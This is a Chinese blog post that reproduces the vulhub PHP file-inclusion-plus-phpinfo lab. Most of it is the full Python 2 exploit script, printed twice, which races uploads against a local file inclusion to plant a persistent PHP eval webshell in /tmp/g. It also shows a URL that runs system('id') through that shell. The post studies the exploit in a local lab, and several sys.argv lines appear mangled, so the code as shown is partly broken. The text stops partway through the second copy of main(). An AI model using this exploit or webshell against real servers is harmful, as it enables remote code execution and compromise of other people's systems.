铭仔 發表於 2019-6-9 12:24:00

vulhub-php/php_inclusion_getshell

<p><span style="font-size: 18pt">注:本地测试php文件包含+phpinfo泄露导致getshell,</span><span style="font-size: 18pt; color: rgba(255, 0, 0, 1)">此漏洞与php版本无关</span></p>
<p><span style="font-size: 18px; color: rgba(0, 0, 0, 1)">使用vulhub环境进行复现:</span></p>
<p><span style="font-size: 18px">项目地址:https://github.com/vulhub/vulhub/tree/master/php/inclusion</span></p>
<div class="cnblogs_code">
<pre>phpinfo路径:http:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">127.0.0.1:8080/phpinfo.php</span>
文件包含路径:http:<span style="color: rgba(0, 128, 0, 1)">//</span><span style="color: rgba(0, 128, 0, 1)">127.0.0.1:8080/lfi.php</span></pre>
</div>
<p>docker-compose up -d 开启环境后直接使用exp进行运行即可</p>
<p><img src="https://img2018.cnblogs.com/blog/1063309/201906/1063309-20190609092344879-647001786.png" alt=""></p>
<p>此时已经成功在/tmp/g中写入永久的shell,然后利用文件包含进行getshell</p>
<div class="cnblogs_Highlighter">
<pre class="brush:php;gutter:true;">http://127.0.0.1:8080/lfi.php?file=/tmp/g&amp;1=system(%22id%22);
</pre>
</div>
<p> <img src="https://img2018.cnblogs.com/blog/1063309/201906/1063309-20190609092519334-1749872131.png" alt=""></p>
<p>&nbsp;</p>
<p>此时测试完成,简单对exp进行一个分析,便于进一步了解漏洞的利用详情</p>
<p>首先确定python的运行环境为python2.x,分析下各个函数的作用:</p>
<p>从main函数开始看:</p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 0, 255, 1)">def</span><span style="color: rgba(0, 0, 0, 1)"> main():
   
    </span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">LFI With PHPInfo()</span><span style="color: rgba(128, 0, 0, 1)">"</span>
    <span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">-=</span><span style="color: rgba(128, 0, 0, 1)">"</span> * 30

    <span style="color: rgba(0, 0, 255, 1)">if</span> len(sys.argv) &lt; 2<span style="color: rgba(0, 0, 0, 1)">:
      </span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Usage: %s host </span><span style="color: rgba(128, 0, 0, 1)">"</span> %<span style="color: rgba(0, 0, 0, 1)"> sys.argv
      sys.exit(</span>1<span style="color: rgba(0, 0, 0, 1)">)

    </span><span style="color: rgba(0, 0, 255, 1)">try</span><span style="color: rgba(0, 0, 0, 1)">:
      host </span>= socket.gethostbyname(sys.argv)
    </span><span style="color: rgba(0, 0, 255, 1)">except</span><span style="color: rgba(0, 0, 0, 1)"> socket.error, e:
      </span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Error with hostname %s: %s</span><span style="color: rgba(128, 0, 0, 1)">"</span> % (sys.argv, e)
      sys.exit(</span>1<span style="color: rgba(0, 0, 0, 1)">)

    port</span>=80
    <span style="color: rgba(0, 0, 255, 1)">try</span><span style="color: rgba(0, 0, 0, 1)">:
      port </span>= int(sys.argv)
    </span><span style="color: rgba(0, 0, 255, 1)">except</span><span style="color: rgba(0, 0, 0, 1)"> IndexError:
      </span><span style="color: rgba(0, 0, 255, 1)">pass</span>
    <span style="color: rgba(0, 0, 255, 1)">except</span><span style="color: rgba(0, 0, 0, 1)"> ValueError, e:
      </span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Error with port %d: %s</span><span style="color: rgba(128, 0, 0, 1)">"</span> % (sys.argv, e)
      sys.exit(</span>1<span style="color: rgba(0, 0, 0, 1)">)
   
    poolsz</span>=10
    <span style="color: rgba(0, 0, 255, 1)">try</span><span style="color: rgba(0, 0, 0, 1)">:
      poolsz </span>= int(sys.argv)
    </span><span style="color: rgba(0, 0, 255, 1)">except</span><span style="color: rgba(0, 0, 0, 1)"> IndexError:
      </span><span style="color: rgba(0, 0, 255, 1)">pass</span>
    <span style="color: rgba(0, 0, 255, 1)">except</span><span style="color: rgba(0, 0, 0, 1)"> ValueError, e:
      </span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Error with poolsz %d: %s</span><span style="color: rgba(128, 0, 0, 1)">"</span> % (sys.argv, e)
      sys.exit(</span>1<span style="color: rgba(0, 0, 0, 1)">)

    </span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Getting initial offset...</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">,
    reqphp, tag, reqlfi </span>=<span style="color: rgba(0, 0, 0, 1)"> setup(host, port)
    offset </span>=<span style="color: rgba(0, 0, 0, 1)"> getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts </span>= 1000<span style="color: rgba(0, 0, 0, 1)">
    e </span>=<span style="color: rgba(0, 0, 0, 1)"> threading.Event()
    l </span>=<span style="color: rgba(0, 0, 0, 1)"> threading.Lock()

    </span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Spawning worker pool (%d)...</span><span style="color: rgba(128, 0, 0, 1)">"</span> %<span style="color: rgba(0, 0, 0, 1)"> poolsz
    sys.stdout.flush()

    tp </span>=<span style="color: rgba(0, 0, 0, 1)"> []
    </span><span style="color: rgba(0, 0, 255, 1)">for</span> i <span style="color: rgba(0, 0, 255, 1)">in</span><span style="color: rgba(0, 0, 0, 1)"> range(0,poolsz):
      tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    </span><span style="color: rgba(0, 0, 255, 1)">for</span> t <span style="color: rgba(0, 0, 255, 1)">in</span><span style="color: rgba(0, 0, 0, 1)"> tp:
      t.start()
    </span><span style="color: rgba(0, 0, 255, 1)">try</span><span style="color: rgba(0, 0, 0, 1)">:
      </span><span style="color: rgba(0, 0, 255, 1)">while</span> <span style="color: rgba(0, 0, 255, 1)">not</span> e.wait(1<span style="color: rgba(0, 0, 0, 1)">):
            </span><span style="color: rgba(0, 0, 255, 1)">if</span><span style="color: rgba(0, 0, 0, 1)"> e.is_set():
                </span><span style="color: rgba(0, 0, 255, 1)">break</span><span style="color: rgba(0, 0, 0, 1)">
            with l:
                sys.stdout.write( </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">\r% 4d / % 4d</span><span style="color: rgba(128, 0, 0, 1)">"</span> %<span style="color: rgba(0, 0, 0, 1)"> (counter, maxattempts))
                sys.stdout.flush()
                </span><span style="color: rgba(0, 0, 255, 1)">if</span> counter &gt;=<span style="color: rgba(0, 0, 0, 1)"> maxattempts:
                  </span><span style="color: rgba(0, 0, 255, 1)">break</span>
      <span style="color: rgba(0, 0, 255, 1)">print</span>
      <span style="color: rgba(0, 0, 255, 1)">if</span><span style="color: rgba(0, 0, 0, 1)"> e.is_set():
            </span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Woot!\m/</span><span style="color: rgba(128, 0, 0, 1)">"</span>
      <span style="color: rgba(0, 0, 255, 1)">else</span><span style="color: rgba(0, 0, 0, 1)">:
            </span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">:(</span><span style="color: rgba(128, 0, 0, 1)">"</span>
    <span style="color: rgba(0, 0, 255, 1)">except</span><span style="color: rgba(0, 0, 0, 1)"> KeyboardInterrupt:
      </span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">\nTelling threads to shutdown...</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">
      e.set()
   
    </span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Shuttin' down...</span><span style="color: rgba(128, 0, 0, 1)">"</span>
    <span style="color: rgba(0, 0, 255, 1)">for</span> t <span style="color: rgba(0, 0, 255, 1)">in</span><span style="color: rgba(0, 0, 0, 1)"> tp:
      t.join()</span></pre>
</div>
<p>main函数主要获取目标ip地址和端口号以便于建立socket连接,以及获取上传webshell的初始化请求数据包和文件包含的请求数据包,以及获得临时文件名的偏移值,main函数里定义了maxattempts,最大尝试次数,以及多线程事件e和多线程锁l便于对counter进行控制</p>
<p>这里简单学习了一下event的用法:</p>
<div class="cnblogs_code">
<pre>通过threading.Event()可以创建一个事件管理标志,Event对象用于线程间通信。它提供了一组、拆除、等待用于线程间通信的其他方法。该标志(event)默认为False,event对象主要有四种方法可以调用:</pre>
<p>   event.wait(timeout=None):调用该方法的线程会被阻塞,如果设置了timeout参数,超时后,线程会停止阻塞继续执行;<br>&nbsp; &nbsp; event.set():将event的标志设置为True,调用set方法的所有线程将被唤醒;<br>&nbsp; &nbsp; event.clear():将event的标志设置为False,调用wait方法的所有线程将被阻塞;<br>&nbsp; &nbsp; event.isSet():判断event的标志是否为True。</p>







</div>
<p>所以可以知道多线程之间通过event中创建的时间管理标志来实现互相通信</p>
<p>代码中还使用到了Lock</p>
<div class="cnblogs_code">
<pre>#创建锁<br data-filtered="filtered">mutex = threading.Lock()<br data-filtered="filtered">#锁定<br data-filtered="filtered">mutex.acquire()<br data-filtered="filtered">#释放<br data-filtered="filtered">mutex.release()<br>在多线程中使用lock可以让多个线程在共享资源的时候不会“乱”<br>当多线程中需要“独占资源”的时候,要使用锁来控制,防止多个线程同时占用资源而出现其他异常。<br>使用锁的时候就调用acquire()方法,以此告诉其他线程,我正在占用该资源,你们要等会;待使用资源后需要释放资源的时候就调用release()方法,告诉其他线程,我已经完成使用该资源了,其他人可以过来使用了。</pre>
</div>
<p>然后代码再讲初始化好的变量传入线程类中,开始调用</p>
<p><img src="https://img2018.cnblogs.com/blog/1063309/201906/1063309-20190609100249365-246832786.png" alt=""></p>
<p>最后还用到了join函数</p>
<div class="cnblogs_code">
<pre>join所完成的工作就是线程同步,即主线程任务结束之后,进入阻塞状态,一直等待其他的子线程执行结束之后,主线程再终止</pre>
</div>
<p>所以整个exp的设计思想是:</p>
<p>主线程初始化所有攻击线程,攻击线程中执行具体的payload,需要上传webshell数据包给phpinfo,以及尝试包含缓存文件,线程之间通过event事件进行通信,一旦攻击线程攻击成功,即如果成功写入</p>
<p>/tmp/g,则通过执行set()函数将线程管理标志置为true,此时所有县城将通过执行is_set()函数判断true,此时线程退出,攻击结束。</p>
<p>&nbsp;</p>
<p>贴一段自己理解注释以后的代码:</p>
<div class="cnblogs_code">
<pre><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">coding:utf-8</span><span style="color: rgba(0, 128, 0, 1)">
#</span><span style="color: rgba(0, 128, 0, 1)">python2.x</span>
<span style="color: rgba(0, 0, 255, 1)">import</span><span style="color: rgba(0, 0, 0, 1)"> sys
</span><span style="color: rgba(0, 0, 255, 1)">import</span><span style="color: rgba(0, 0, 0, 1)"> threading
</span><span style="color: rgba(0, 0, 255, 1)">import</span><span style="color: rgba(0, 0, 0, 1)"> socket

</span><span style="color: rgba(128, 0, 0, 1)">"""</span><span style="color: rgba(128, 0, 0, 1)">-------------构造webshell请求包-------------------</span><span style="color: rgba(128, 0, 0, 1)">"""</span>
<span style="color: rgba(0, 0, 255, 1)">def</span><span style="color: rgba(0, 0, 0, 1)"> setup(host, port):
    </span><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">webshell内容,在/tmp/g下写入shell,payload可以根据实际情况进行修改</span>
    TAG=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Security Test</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">
    PAYLOAD</span>=<span style="color: rgba(128, 0, 0, 1)">"""</span><span style="color: rgba(128, 0, 0, 1)">%s\r
&lt;?php file_put_contents('/tmp/g', '&lt;?=eval($_REQUEST)?&gt;')?&gt;\r</span><span style="color: rgba(128, 0, 0, 1)">"""</span> %<span style="color: rgba(0, 0, 0, 1)"> TAG

    REQ1_DATA</span>=<span style="color: rgba(128, 0, 0, 1)">"""</span><span style="color: rgba(128, 0, 0, 1)">-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r</span><span style="color: rgba(128, 0, 0, 1)">"""</span> %<span style="color: rgba(0, 0, 0, 1)"> PAYLOAD

    padding</span>=<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">A</span><span style="color: rgba(128, 0, 0, 1)">"</span> * 5000
    <span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">构造http请求头,在这里调整phpinfo的位置</span>
    REQ1=<span style="color: rgba(128, 0, 0, 1)">"""</span><span style="color: rgba(128, 0, 0, 1)">POST /phpinfo.php?a=</span><span style="color: rgba(128, 0, 0, 1)">"""</span>+padding+<span style="color: rgba(128, 0, 0, 1)">"""</span><span style="color: rgba(128, 0, 0, 1)"> HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie=</span><span style="color: rgba(128, 0, 0, 1)">"""</span>+padding+<span style="color: rgba(128, 0, 0, 1)">"""</span><span style="color: rgba(128, 0, 0, 1)">\r
HTTP_ACCEPT: </span><span style="color: rgba(128, 0, 0, 1)">"""</span> + padding + <span style="color: rgba(128, 0, 0, 1)">"""</span><span style="color: rgba(128, 0, 0, 1)">\r
HTTP_USER_AGENT: </span><span style="color: rgba(128, 0, 0, 1)">"""</span>+padding+<span style="color: rgba(128, 0, 0, 1)">"""</span><span style="color: rgba(128, 0, 0, 1)">\r
HTTP_ACCEPT_LANGUAGE: </span><span style="color: rgba(128, 0, 0, 1)">"""</span>+padding+<span style="color: rgba(128, 0, 0, 1)">"""</span><span style="color: rgba(128, 0, 0, 1)">\r
HTTP_PRAGMA: </span><span style="color: rgba(128, 0, 0, 1)">"""</span>+padding+<span style="color: rgba(128, 0, 0, 1)">"""</span><span style="color: rgba(128, 0, 0, 1)">\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s</span><span style="color: rgba(128, 0, 0, 1)">"""</span> %<span style="color: rgba(0, 0, 0, 1)">(len(REQ1_DATA),host,REQ1_DATA)


    </span><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">可以存在文件包含的路径</span>
    <span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">测试文件包含,具体路径可以根据实际情况进行修改</span>
    LFIREQ=<span style="color: rgba(128, 0, 0, 1)">"""</span><span style="color: rgba(128, 0, 0, 1)">GET /lfi.php?file=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
</span><span style="color: rgba(128, 0, 0, 1)">"""</span>

    <span style="color: rgba(0, 0, 255, 1)">return</span><span style="color: rgba(0, 0, 0, 1)"> (REQ1, TAG, LFIREQ)

</span><span style="color: rgba(0, 0, 255, 1)">def</span><span style="color: rgba(0, 0, 0, 1)"> phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
    s </span>=<span style="color: rgba(0, 0, 0, 1)"> socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2 </span>=<span style="color: rgba(0, 0, 0, 1)"> socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))
    s2.connect((host, port))
    s.send(phpinforeq)
    d </span>= <span style="color: rgba(128, 0, 0, 1)">""</span>
    <span style="color: rgba(0, 0, 255, 1)">while</span> len(d) &lt;<span style="color: rgba(0, 0, 0, 1)"> offset:
      d </span>+=<span style="color: rgba(0, 0, 0, 1)"> s.recv(offset)
    </span><span style="color: rgba(0, 0, 255, 1)">try</span><span style="color: rgba(0, 0, 0, 1)">:
      </span><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">在这里找到真正的缓存文件的名字,一共14位</span>
      i = d.index(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)"> =&amp;gt; </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">)
      fn </span>= d
      </span><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">print fn</span>
    <span style="color: rgba(0, 0, 255, 1)">except</span><span style="color: rgba(0, 0, 0, 1)"> ValueError:
      </span><span style="color: rgba(0, 0, 255, 1)">return</span><span style="color: rgba(0, 0, 0, 1)"> None
    </span><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">尝试利用文件包含漏洞写入/tmp/g</span>
    s2.send(lfireq %<span style="color: rgba(0, 0, 0, 1)"> (fn, host))
    d </span>= s2.recv(4096<span style="color: rgba(0, 0, 0, 1)">)
    s.close()
    s2.close()

    </span><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">测试是否存在Security Test标志</span>
    <span style="color: rgba(0, 0, 255, 1)">if</span> d.find(tag) != -1<span style="color: rgba(0, 0, 0, 1)">:
      </span><span style="color: rgba(0, 0, 255, 1)">return</span><span style="color: rgba(0, 0, 0, 1)"> fn

counter</span>=<span style="color: rgba(0, 0, 0, 1)">0

</span><span style="color: rgba(0, 0, 255, 1)">class</span><span style="color: rgba(0, 0, 0, 1)"> ThreadWorker(threading.Thread):
    </span><span style="color: rgba(0, 0, 255, 1)">def</span> <span style="color: rgba(128, 0, 128, 1)">__init__</span>(self, e, l, m, *<span style="color: rgba(0, 0, 0, 1)">args):
      threading.Thread.</span><span style="color: rgba(128, 0, 128, 1)">__init__</span><span style="color: rgba(0, 0, 0, 1)">(self)
      self.event </span>=<span style="color: rgba(0, 0, 0, 1)"> e
      self.lock </span>=<span style="color: rgba(0, 0, 0, 1)">l
      self.maxattempts </span>=<span style="color: rgba(0, 0, 0, 1)"> m
      self.args </span>=<span style="color: rgba(0, 0, 0, 1)"> args

    </span><span style="color: rgba(0, 0, 255, 1)">def</span><span style="color: rgba(0, 0, 0, 1)"> run(self):
      </span><span style="color: rgba(0, 0, 255, 1)">global</span><span style="color: rgba(0, 0, 0, 1)"> counter
      </span><span style="color: rgba(0, 0, 255, 1)">while</span> <span style="color: rgba(0, 0, 255, 1)">not</span> self.event.is_set():<span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">如果没有线程成功写入/tmp/g则循环尝试写入,醉倒尝试次数为maxattempts</span>

            <span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">因为要操作共享变量counter,所以需要先获得锁</span>
<span style="color: rgba(0, 0, 0, 1)">            with self.lock:
                </span><span style="color: rgba(0, 0, 255, 1)">if</span> counter &gt;=<span style="color: rgba(0, 0, 0, 1)"> self.maxattempts:
                  </span><span style="color: rgba(0, 0, 255, 1)">return</span><span style="color: rgba(0, 0, 0, 1)">
                counter</span>+=1


            <span style="color: rgba(0, 0, 255, 1)">try</span><span style="color: rgba(0, 0, 0, 1)">:
                x </span>= phpInfoLFI(*self.args) <span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">实际的payload执行,先发送websshell上传数据包给phpinfo,然后再文件包含写入永久shell</span>
                <span style="color: rgba(0, 0, 255, 1)">if</span> self.event.is_set(): <span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">判断是否有其他线程已经写入/tmp/g,如果存在循环终止,线程结束</span>
                  <span style="color: rgba(0, 0, 255, 1)">break</span>               
                <span style="color: rgba(0, 0, 255, 1)">if</span> x: <span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">如果存在标签</span>
                  <span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">\nGot it! Shell created in /tmp/g</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">
                  self.event.set()   </span><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">此时已经写入/tmp/g,通过set()方法将event标志置为1,便于通知其他线程通过判断is_set()来结束线程运行</span>
            <span style="color: rgba(0, 0, 255, 1)">except</span><span style="color: rgba(0, 0, 0, 1)"> socket.error:
                </span><span style="color: rgba(0, 0, 255, 1)">return</span>
   

<span style="color: rgba(0, 0, 255, 1)">def</span> getOffset(host, port, phpinforeq): <span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">得到缓存文件名在输出流中的位置,便于提取完整文件名</span>
    <span style="color: rgba(128, 0, 0, 1)">"""</span><span style="color: rgba(128, 0, 0, 1)">Gets offset of tmp_name in the php output</span><span style="color: rgba(128, 0, 0, 1)">"""</span><span style="color: rgba(0, 0, 0, 1)">
    s </span>=<span style="color: rgba(0, 0, 0, 1)"> socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host,port))
    s.send(phpinforeq)

    d </span>= <span style="color: rgba(128, 0, 0, 1)">""</span>
    <span style="color: rgba(0, 0, 255, 1)">while</span><span style="color: rgba(0, 0, 0, 1)"> True:
      i </span>= s.recv(4096<span style="color: rgba(0, 0, 0, 1)">)
      d</span>+=<span style="color: rgba(0, 0, 0, 1)">i      
      </span><span style="color: rgba(0, 0, 255, 1)">if</span> i == <span style="color: rgba(128, 0, 0, 1)">""</span><span style="color: rgba(0, 0, 0, 1)">:
            </span><span style="color: rgba(0, 0, 255, 1)">break</span>
      <span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)"> detect the final chunk</span>
      <span style="color: rgba(0, 0, 255, 1)">if</span> i.endswith(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">0\r\n\r\n</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">):
            </span><span style="color: rgba(0, 0, 255, 1)">break</span><span style="color: rgba(0, 0, 0, 1)">
    s.close()
    i </span>= d.find(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)"> =&amp;gt; </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">)
    </span><span style="color: rgba(0, 0, 255, 1)">if</span> i == -1<span style="color: rgba(0, 0, 0, 1)">:
      </span><span style="color: rgba(0, 0, 255, 1)">raise</span> ValueError(<span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">No php tmp_name in phpinfo output</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">)
    </span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">found %s at %i</span><span style="color: rgba(128, 0, 0, 1)">"</span> % (d,i)
    </span><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)"> padded up a bit</span>
    <span style="color: rgba(0, 0, 255, 1)">return</span> i+256

<span style="color: rgba(0, 0, 255, 1)">def</span><span style="color: rgba(0, 0, 0, 1)"> main():
    </span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">LFI With PHPInfo()</span><span style="color: rgba(128, 0, 0, 1)">"</span>
    <span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">-=</span><span style="color: rgba(128, 0, 0, 1)">"</span> * 30
    <span style="color: rgba(0, 0, 255, 1)">if</span> len(sys.argv) &lt; 2<span style="color: rgba(0, 0, 0, 1)">:
      </span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Usage: %s host </span><span style="color: rgba(128, 0, 0, 1)">"</span> %<span style="color: rgba(0, 0, 0, 1)"> sys.argv
      sys.exit(</span>1<span style="color: rgba(0, 0, 0, 1)">)
    </span><span style="color: rgba(0, 0, 255, 1)">try</span><span style="color: rgba(0, 0, 0, 1)">:
      host </span>= socket.gethostbyname(sys.argv) <span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">得到目标ip地址</span>
    <span style="color: rgba(0, 0, 255, 1)">except</span><span style="color: rgba(0, 0, 0, 1)"> socket.error, e:
      </span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Error with hostname %s: %s</span><span style="color: rgba(128, 0, 0, 1)">"</span> % (sys.argv, e)
      sys.exit(</span>1<span style="color: rgba(0, 0, 0, 1)">)
    port</span>=80
    <span style="color: rgba(0, 0, 255, 1)">try</span><span style="color: rgba(0, 0, 0, 1)">:
      port </span>= int(sys.argv)#得到端口号
    </span><span style="color: rgba(0, 0, 255, 1)">except</span><span style="color: rgba(0, 0, 0, 1)"> IndexError:
      </span><span style="color: rgba(0, 0, 255, 1)">pass</span>
    <span style="color: rgba(0, 0, 255, 1)">except</span><span style="color: rgba(0, 0, 0, 1)"> ValueError, e:
      </span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Error with port %d: %s</span><span style="color: rgba(128, 0, 0, 1)">"</span> % (sys.argv, e)
      sys.exit(</span>1<span style="color: rgba(0, 0, 0, 1)">)
   
    poolsz</span>=10
    <span style="color: rgba(0, 0, 255, 1)">try</span><span style="color: rgba(0, 0, 0, 1)">:
      poolsz </span>= int(sys.argv)
    </span><span style="color: rgba(0, 0, 255, 1)">except</span><span style="color: rgba(0, 0, 0, 1)"> IndexError:
      </span><span style="color: rgba(0, 0, 255, 1)">pass</span>
    <span style="color: rgba(0, 0, 255, 1)">except</span><span style="color: rgba(0, 0, 0, 1)"> ValueError, e:
      </span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Error with poolsz %d: %s</span><span style="color: rgba(128, 0, 0, 1)">"</span> % (sys.argv, e)
      sys.exit(</span>1<span style="color: rgba(0, 0, 0, 1)">)

    </span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Getting initial offset...</span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(0, 0, 0, 1)">,
    reqphp, tag, reqlfi </span>=<span style="color: rgba(0, 0, 0, 1)"> setup(host, port)
    offset </span>=<span style="color: rgba(0, 0, 0, 1)"> getOffset(host, port, reqphp)
    sys.stdout.flush()

    maxattempts </span>= 1000<span style="color: rgba(0, 0, 0, 1)">
    e </span>=<span style="color: rgba(0, 0, 0, 1)"> threading.Event()
    l </span>=<span style="color: rgba(0, 0, 0, 1)"> threading.Lock()

    </span><span style="color: rgba(0, 0, 255, 1)">print</span> <span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">Spawning worker pool (%d)...</span><span style="color: rgba(128, 0, 0, 1)">"</span> %<span style="color: rgba(0, 0, 0, 1)"> poolsz
    sys.stdout.flush()

    tp </span>=<span style="color: rgba(0, 0, 0, 1)"> []
    </span><span style="color: rgba(0, 0, 255, 1)">for</span> i <span style="color: rgba(0, 0, 255, 1)">in</span><span style="color: rgba(0, 0, 0, 1)"> range(0,poolsz):
      tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))

    </span><span style="color: rgba(0, 0, 255, 1)">for</span> t <span style="color: rgba(0, 0, 255, 1)">in</span><span style="color: rgba(0, 0, 0, 1)"> tp:
      t.start()
    </span><span style="color: rgba(0, 0, 255, 1)">try</span><span style="color: rgba(0, 0, 0, 1)">:
      </span><span style="color: rgba(0, 128, 0, 1)">#</span><span style="color: rgba(0, 128, 0, 1)">主线程也会判断是否成功写入/tmp/g</span>
      <span style="color: rgba(0, 0, 255, 1)">while</span> <span style="color: rgba(0, 0, 255, 1)">not</span> e.wait(1<span style="color: rgba(0, 0, 0, 1)">):
            </span><span style="color: rgba(0, 0, 255, 1)">if</span><span style="color: rgba(0, 0, 0, 1)"> e.is_set():
                </span><span style="color: rgba(0, 0, 255, 1)">break</span><span style="color: rgba(0, 0, 0, 1)">
            with l:
                sys.stdout.write( </span><span style="color: rgba(128, 0, 0, 1)">"</span><span style="color: rgba(128, 0, 0, 1)">\r% 4d / % 4d</span><span style="color: rgba(128, 0, 0, 1)">"</span> %<span style="color: rgba(0, 0, 0, 1)"> (counter, maxattempts))
                sys.stdout.flush()
